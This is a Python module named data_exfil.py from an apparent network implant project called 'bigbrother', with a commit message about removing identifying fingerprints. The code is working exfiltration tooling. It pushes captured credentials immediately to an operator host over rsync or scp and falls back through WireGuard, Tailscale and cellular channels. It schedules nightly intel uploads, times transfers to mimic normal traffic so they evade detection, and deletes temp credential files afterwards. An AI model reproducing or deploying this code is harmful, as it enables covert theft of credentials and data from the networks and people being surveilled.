Files
bigbrother/modules/connectivity/data_exfil.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

461 lines
16 KiB
Python

#!/usr/bin/env python3
"""Data exfiltration module — priority-based data transport.
Manages data exfiltration through the connectivity chain with three
priority tiers:
IMMEDIATE: Credentials — pushed as captured via fastest available channel
NIGHTLY: Intel summaries, topology updates — scheduled nightly sync
ON_DEMAND: PCAPs — large files pulled by operator when needed
Respects traffic_mimicry baseline — times transfers to match normal upload
patterns so exfil activity blends with legitimate traffic.
Falls back through connectivity chain:
WireGuard -> Tailscale -> reverse_ssh -> cellular
"""
import json
import logging
import os
import subprocess
import threading
import time
from collections import deque
from dataclasses import dataclass, field
from enum import IntEnum
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from core.bus import Event
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
class ExfilPriority(IntEnum):
"""Exfiltration priority levels."""
IMMEDIATE = 0 # Credentials — push now
NIGHTLY = 1 # Intel/topology — batch nightly
ON_DEMAND = 2 # PCAPs — operator pulls
@dataclass
class ExfilJob:
"""A pending exfiltration task."""
path: str
priority: ExfilPriority
created: float = field(default_factory=time.time)
attempts: int = 0
last_attempt: float = 0
size_bytes: int = 0
description: str = ""
# Connectivity chain — tried in order of preference
CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "cellular_backup"]
NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync
MAX_ATTEMPTS = 5
RETRY_BACKOFF = 60 # seconds between retries
class DataExfil(BaseModule):
"""Priority-based data exfiltration through the connectivity chain."""
name = "data_exfil"
module_type = "connectivity"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._immediate_queue: deque = deque(maxlen=1000)
self._nightly_queue: deque = deque(maxlen=500)
self._on_demand_queue: deque = deque(maxlen=200)
self._worker_thread: Optional[threading.Thread] = None
self._nightly_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._stats = {
"files_sent": 0,
"bytes_sent": 0,
"creds_pushed": 0,
"nightly_syncs": 0,
"failures": 0,
}
self._remote_base: Optional[str] = None
self._remote_user: Optional[str] = None
self._ssh_key: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
self._remote_base = exfil_cfg.get("remote_base", "/data/exfil")
self._remote_user = exfil_cfg.get("remote_user", "operator")
self._ssh_key = exfil_cfg.get("ssh_key")
# Subscribe to credential events for immediate push
self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
# Start worker thread for processing queues
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._worker_thread = threading.Thread(
target=self._worker_loop, daemon=True, name="sensor-exfil-worker",
)
self._worker_thread.start()
# Start nightly sync scheduler
self._nightly_thread = threading.Thread(
target=self._nightly_scheduler, daemon=True, name="sensor-exfil-nightly",
)
self._nightly_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("Data exfil module active")
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
if self._worker_thread and self._worker_thread.is_alive():
self._worker_thread.join(timeout=5.0)
if self._nightly_thread and self._nightly_thread.is_alive():
self._nightly_thread.join(timeout=5.0)
self.state.set_module_status(self.name, "stopped")
logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)",
self._stats["files_sent"], self._stats["bytes_sent"],
self._stats["failures"])
def status(self) -> dict:
with self._lock:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"queue_immediate": len(self._immediate_queue),
"queue_nightly": len(self._nightly_queue),
"queue_on_demand": len(self._on_demand_queue),
"stats": dict(self._stats),
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self._worker_thread is not None and self._worker_thread.is_alive()
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY,
description: str = "") -> bool:
"""Queue a file for exfiltration at the given priority."""
if not os.path.isfile(path):
logger.warning("Exfil target does not exist: %s", path)
return False
try:
size = os.path.getsize(path)
except OSError:
size = 0
job = ExfilJob(
path=path,
priority=ExfilPriority(priority),
size_bytes=size,
description=description,
)
with self._lock:
if priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
elif priority == ExfilPriority.NIGHTLY:
self._nightly_queue.append(job)
else:
self._on_demand_queue.append(job)
logger.debug("Queued for exfil (%s): %s (%d bytes)",
ExfilPriority(priority).name, path, size)
return True
def sync_intel(self) -> bool:
"""Trigger an immediate sync of all queued intel/nightly data."""
logger.info("Manual intel sync triggered")
return self._process_nightly_queue()
def get_exfil_stats(self) -> dict:
"""Return exfil statistics."""
with self._lock:
return dict(self._stats)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_credential_found(self, event: Event) -> None:
"""Handle CREDENTIAL_FOUND events — push immediately."""
payload = event.payload
cred_file = payload.get("file")
cred_data = payload.get("data")
if cred_file and os.path.isfile(cred_file):
self.push_file(cred_file, ExfilPriority.IMMEDIATE,
description=f"credential: {payload.get('type', 'unknown')}")
elif cred_data:
# Write credential data to a temp file for exfil
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"
cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json")
try:
fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, json.dumps(cred_data).encode())
finally:
os.close(fd)
self.push_file(cred_path, ExfilPriority.IMMEDIATE,
description="credential_data")
except OSError as exc:
logger.error("Failed to write credential for exfil: %s", exc)
with self._lock:
self._stats["creds_pushed"] += 1
# ------------------------------------------------------------------
# Worker threads
# ------------------------------------------------------------------
def _worker_loop(self) -> None:
"""Main worker: drain immediate queue, respecting traffic mimicry."""
while self._running:
# Process immediate queue first
job = None
with self._lock:
if self._immediate_queue:
job = self._immediate_queue.popleft()
if job:
self._process_job(job)
else:
time.sleep(5.0)
def _nightly_scheduler(self) -> None:
"""Wait until NIGHTLY_HOUR and trigger nightly sync."""
while self._running:
now = time.localtime()
if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5:
# Check traffic mimicry — is this a normal upload time?
if self._is_upload_window():
self._process_nightly_queue()
with self._lock:
self._stats["nightly_syncs"] += 1
# Sleep past the window to avoid re-triggering
time.sleep(3600)
continue
time.sleep(60)
def _process_job(self, job: ExfilJob) -> bool:
"""Transfer a single file through the connectivity chain."""
job.attempts += 1
job.last_attempt = time.time()
# Try each connectivity method in order
for conn_name in CONNECTIVITY_CHAIN:
conn_status = self.state.get_module_status(conn_name)
if conn_status.get("status") != "running":
continue
if self._transfer_file(job.path, conn_name):
with self._lock:
self._stats["files_sent"] += 1
self._stats["bytes_sent"] += job.size_bytes
logger.info("Exfil success: %s via %s (%d bytes)",
job.path, conn_name, job.size_bytes)
# Clean up temp credential files after successful send
if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path:
try:
os.unlink(job.path)
except OSError:
pass
return True
# All channels failed — re-queue if under max attempts
with self._lock:
self._stats["failures"] += 1
if job.attempts < MAX_ATTEMPTS:
logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing",
job.path, job.attempts, MAX_ATTEMPTS)
time.sleep(RETRY_BACKOFF)
with self._lock:
if job.priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
else:
self._nightly_queue.append(job)
else:
logger.error("Exfil permanently failed for %s after %d attempts",
job.path, MAX_ATTEMPTS)
return False
def _process_nightly_queue(self) -> bool:
"""Process all items in the nightly queue."""
success = True
while self._running:
with self._lock:
if not self._nightly_queue:
break
job = self._nightly_queue.popleft()
if not self._process_job(job):
success = False
# Brief pause between files to avoid traffic bursts
time.sleep(2.0)
return success
# ------------------------------------------------------------------
# Transfer methods
# ------------------------------------------------------------------
def _transfer_file(self, local_path: str, via_module: str) -> bool:
"""Transfer a file using rsync/scp over the specified connectivity module."""
if not os.path.isfile(local_path):
return False
# Determine remote target based on connectivity module
remote_host = self._get_remote_host(via_module)
if not remote_host:
return False
remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/"
# Build SSH options — use known_hosts for host key verification
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
ssh_opts = [
"-o", "StrictHostKeyChecking=accept-new", # Accept only if not seen before
"-o", "LogLevel=ERROR",
"-o", "ConnectTimeout=10",
]
# Use operator-provided known_hosts if available, else fail
known_hosts = exfil_cfg.get("ssh_known_hosts_file")
if known_hosts:
if not os.path.isfile(known_hosts):
raise FileNotFoundError(f"SSH known_hosts file not found: {known_hosts}")
ssh_opts.extend(["-o", f"UserKnownHostsFile={known_hosts}"])
else:
# Fallback: require known_hosts to prevent MITM
logger.error("SSH known_hosts not configured — exfil disabled for MITM protection")
return False
if self._ssh_key:
ssh_opts.extend(["-i", self._ssh_key])
# Try rsync first (delta transfer, bandwidth efficient)
if self._try_rsync(local_path, remote_path, ssh_opts):
return True
# Fallback to scp
return self._try_scp(local_path, remote_path, ssh_opts)
def _try_rsync(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via rsync."""
ssh_cmd = "ssh " + " ".join(ssh_opts)
cmd = [
"rsync", "-az", "--timeout=30",
"-e", ssh_cmd,
local_path, remote_path,
]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _try_scp(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via scp."""
cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _get_remote_host(self, via_module: str) -> Optional[str]:
"""Get the remote host address for a connectivity module."""
if via_module == "wireguard":
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
# Use the WireGuard peer's allowed IP (operator side)
allowed = wg_cfg.get("allowed_ips", "")
if "/" in allowed:
return allowed.split("/")[0]
return allowed if allowed else None
elif via_module == "tailscale":
# Get Tailscale IP of the operator machine from config
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
return ts_cfg.get("operator_ip")
elif via_module == "cellular_backup":
# Cellular uses a separate relay
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
return cell_cfg.get("exfil_host")
return None
# ------------------------------------------------------------------
# Traffic mimicry integration
# ------------------------------------------------------------------
def _is_upload_window(self) -> bool:
"""Check if current time falls within a normal upload window.
Reads the traffic mimicry baseline to determine if now is a
reasonable time for upload activity.
"""
baseline = self.state.get("traffic_mimicry", "upload_hours", default=None)
if not baseline:
# No baseline — allow all hours
return True
try:
if isinstance(baseline, str):
allowed_hours = json.loads(baseline)
else:
allowed_hours = baseline
current_hour = time.localtime().tm_hour
return current_hour in allowed_hours
except (json.JSONDecodeError, TypeError):
return True